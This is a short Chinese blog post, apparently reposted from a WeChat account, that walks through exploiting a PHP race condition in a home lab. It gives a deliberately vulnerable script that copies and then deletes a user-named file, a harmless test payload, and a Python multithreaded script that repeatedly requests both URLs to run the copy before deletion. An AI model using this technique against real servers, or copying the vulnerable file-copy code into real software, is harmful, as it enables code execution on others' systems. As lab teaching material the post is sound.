条件竞争是真的好玩,佛了
先上例子
<?php print("Hello,This is test server"); if(isset($_GET['src'])){ copy($_GET['src'],$_GET['dst']); unlink($_GET['dst']); } else{ print("Error!"); ?>
这是典型的条件竞争利用的点
正常的服务器操作,是copy参数src的文件名和参数dst的文件名,复制完毕后,立马unlink删除
那么条件竞争呢,就是利用复制完毕,卡还没来得及删除的时间点,访问文件,执行恶意代码,而恶意代码已经执行完成了,那么文件删不删除都不重要了
具体的流程如下图 ↓
一目了然,小天才说的就是我吧
首先现在靶机安装httpd服务,再安装php 完成后,开始配置环境
Elapse.php和file.php的内容为
Elapse.php: <?php print("Hello,This is test server"); if(isset($_GET['src'])){ copy($_GET['src'],$_GET['dst']); unlink($_GET['dst']); } else{ print("Error!"); ?> -----------优秀的分割线----------- file.php: <?php $myfile = fopen("test.txt","w"); $txt = "ElapseNB\n"; fwrite($myfile,$txt); ?>
具体利用方式就是,通过访问Elapse.php,传入参数将file.php copy出来然后同时访问新文件 这里用的是python3多线程
import requests import threading url1 = 'http://192.168.1.111/Elapse.php?src=file.php&dst=myfile.php' url2 = 'http://192.168.1.111/myfile.php' def filecreate(url): while True: try: requests.get(url) except: print("not find file") def main(): threads = [] for e in range(10): t1 = threading.Thread(target=filecreate,args=(url1,)) t2 = threading.Thread(target=filecreate,args=(url2,)) threads.append(t1) threads.append(t2) t1.start() t2.start() print("Successful!") if __name__ == '__main__': main()
创建两个线程,同时访问两个url 运行结果:
在服务器中可以看到多出来了一个文件,内容为ElapseNB
本文分享自微信公众号 - E条咸鱼(gh_04d31a502ded),作者:现在你看到我的ID了
原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。
原始发表时间:2018-12-22
本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。
我来说两句